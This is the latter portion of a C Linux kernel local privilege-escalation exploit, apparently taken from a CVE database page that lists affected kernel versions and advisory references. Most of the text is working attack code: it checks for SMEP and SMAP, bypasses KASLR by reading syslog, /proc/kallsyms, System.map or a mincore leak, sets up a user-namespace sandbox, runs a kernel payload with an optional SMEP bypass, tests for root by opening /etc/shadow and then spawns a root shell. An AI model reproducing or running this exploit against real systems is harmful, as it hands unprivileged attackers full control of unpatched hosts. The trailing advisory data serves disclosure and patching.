SMAP, 3 - SMEP & SMAP int smap_smep_enabled() { char buffer[PROC_CPUINFO_LENGTH]; char* path = "/proc/cpuinfo"; int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH); if (length == -1) { dprintf("[-] open/read(%s)\n", path); exit(EXIT_FAILURE); } int rv = 0; char* found = memmem(&buffer[0], length, "smep", 4); if (found != NULL) rv += 1; found = memmem(&buffer[0], length, "smap", 4); if (found != NULL) rv += 2; return rv; } void check_smep_smap() { int rv = smap_smep_enabled(); if (rv >= 2) { dprintf("[-] SMAP detected, no bypass available\n"); exit(EXIT_FAILURE); } #if !ENABLE_SMEP_BYPASS if (rv >= 1) { dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); exit(EXIT_FAILURE); } #endif } // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 bool mmap_syslog(char** buffer, int* size) { *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (*size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); return false; } *size = (*size / getpagesize() + 1) * getpagesize(); *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); if (*size == -1) { dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); return false; } return true; } unsigned long get_kernel_addr_trusty(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) return 0; int start = 0; int end = 0; for (end = start; substr[end] != '-'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) return 0; char* endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xffffffffff000000ul; return r; } unsigned long get_kernel_addr_xenial(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) { return 0; } int start = 0; int end = 0; for (start = 0; substr[start] != '-'; start++); for (end = start; substr[end] != '\n'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) { return 0; } char* endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xfffffffffff00000ul; r -= 0x1000000ul; return r; } unsigned long get_kernel_addr_syslog() { unsigned long addr = 0; char* syslog; int size; dprintf("[.] trying syslog...\n"); if (!mmap_syslog(&syslog, &size)) return 0; if (strcmp("trusty", kernels[kernel].distro) == 0) addr = get_kernel_addr_trusty(syslog, size); if (strcmp("xenial", kernels[kernel].distro) == 0) addr = get_kernel_addr_xenial(syslog, size); if (!addr) dprintf("[-] kernel base not found in syslog\n"); return addr; } // * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_kallsyms() { FILE *f; unsigned long addr = 0; char dummy; char sname[256]; char* name = "startup_64"; char* path = "/proc/kallsyms"; dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s)\n", path); return 0; } int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } // * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_sysmap() { FILE *f; unsigned long addr = 0; char path[512] = "/boot/System.map-"; char version[32]; struct utsname u; u = get_kernel_version(); strcat(path, u.release); dprintf("[.] trying %s...\n", path); f = fopen(path, "r"); if (f == NULL) { dprintf("[-] open/read(%s)\n", path); return 0; } char dummy; char sname[256]; char* name = "startup_64"; int ret = 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); dprintf("[-] kernel base not found in %s\n", path); return 0; } // * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * * unsigned long get_kernel_addr_mincore() { unsigned char buf[getpagesize()/sizeof(unsigned char)]; unsigned long iterations = 20000000; unsigned long addr = 0; dprintf("[.] trying mincore info leak...\n"); /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */ if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) { dprintf("[-] mmap()\n"); return 0; } int i; for (i = 0; i <= iterations; i++) { /* Touch a mishandle with this type mapping */ if (mincore((void*)0x86000000, 0x1000000, buf)) { dprintf("[-] mincore()\n"); return 0; } int n; for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) { addr = *(unsigned long*)(&buf[n]); /* Kernel address space */ if (addr > 0xffffffff00000000) { addr &= 0xffffffffff000000ul; if (munmap((void*)0x66000000, 0x20000000000)) dprintf("[-] munmap()\n"); return addr; } } } if (munmap((void*)0x66000000, 0x20000000000)) dprintf("[-] munmap()\n"); dprintf("[-] kernel base not found in mincore info leak\n"); return 0; } // * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * unsigned long get_kernel_addr() { unsigned long addr = 0; addr = get_kernel_addr_kallsyms(); if (addr) return addr; addr = get_kernel_addr_sysmap(); if (addr) return addr; addr = get_kernel_addr_syslog(); if (addr) return addr; addr = get_kernel_addr_mincore(); if (addr) return addr; dprintf("[-] KASLR bypass failed\n"); exit(EXIT_FAILURE); return 0; } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { dprintf("[!] unprivileged user namespaces are not available\n"); dprintf("[-] unshare(CLONE_NEWUSER)\n"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { dprintf("[-] unshare(CLONE_NEWUSER)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { dprintf("[-] write_file(/proc/self/set_groups)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { dprintf("[-] write_file(/proc/self/uid_map)\n"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { dprintf("[-] write_file(/proc/self/gid_map)\n"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { dprintf("[-] sched_setaffinity()\n"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo mtu 1500") != 0) { dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { dprintf("[-] system(/sbin/ifconfig lo up)\n"); exit(EXIT_FAILURE); } } void exec_shell() { int fd; fd = open("/proc/1/ns/net", O_RDONLY); if (fd == -1) { dprintf("error opening /proc/1/ns/net\n"); exit(EXIT_FAILURE); } if (setns(fd, CLONE_NEWNET) == -1) { dprintf("error calling setns\n"); exit(EXIT_FAILURE); } system(SHELL); } bool is_root() { // We can't simple check uid, since we're running inside a namespace // with uid set to 0. Try opening /etc/shadow instead. int fd = open("/etc/shadow", O_RDONLY); if (fd == -1) return false; close(fd); return true; } void check_root() { dprintf("[.] checking if we got root\n"); if (!is_root()) { dprintf("[-] something went wrong =(\n"); return; } dprintf("[+] got r00t ^_^\n"); exec_shell(); } int main(int argc, char** argv) { if (argc > 1) SHELL = argv[1]; dprintf("[.] starting\n"); dprintf("[.] checking kernel version\n"); detect_kernel(); dprintf("[~] done, version looks good\n"); dprintf("[.] checking SMEP and SMAP\n"); check_smep_smap(); dprintf("[~] done, looks good\n"); dprintf("[.] setting up namespace sandbox\n"); setup_sandbox(); dprintf("[~] done, namespace sandbox set up\n"); #if ENABLE_KASLR_BYPASS dprintf("[.] KASLR bypass enabled, getting kernel addr\n"); KERNEL_BASE = get_kernel_addr(); dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE); #endif dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS); dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); unsigned long payload = (unsigned long)&get_root; #if ENABLE_SMEP_BYPASS dprintf("[.] SMEP bypass enabled, mmapping fake stack\n"); mmap_stack(); payload = XCHG_EAX_ESP_RET; dprintf("[~] done, fake stack mmapped\n"); #endif dprintf("[.] executing payload %lx\n", payload); oob_execute(payload); dprintf("[~] done, should be root now\n"); check_root(); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.6.15 To (excluding) 3.10.108

Linux>>Linux_kernel >> Version From (including) 3.11 To (excluding) 3.16.47

Linux>>Linux_kernel >> Version From (including) 3.17 To (excluding) 3.18.65

Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.4.82

Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.9.43

Linux>>Linux_kernel >> Version From (including) 4.10 To (excluding) 4.12.7

References

http://seclists.org/oss-sec/2017/q3/277
Tags : mailing-list, x_refsource_MLIST
https://access.redhat.com/errata/RHSA-2017:3200
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/100262
Tags : vdb-entry, x_refsource_BID
https://access.redhat.com/errata/RHSA-2017:2918
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2931
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2017/dsa-3981
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securitytracker.com/id/1039162
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/45147/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2017:2930
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:1932
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:1931
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:4159
Tags : vendor-advisory, x_refsource_REDHAT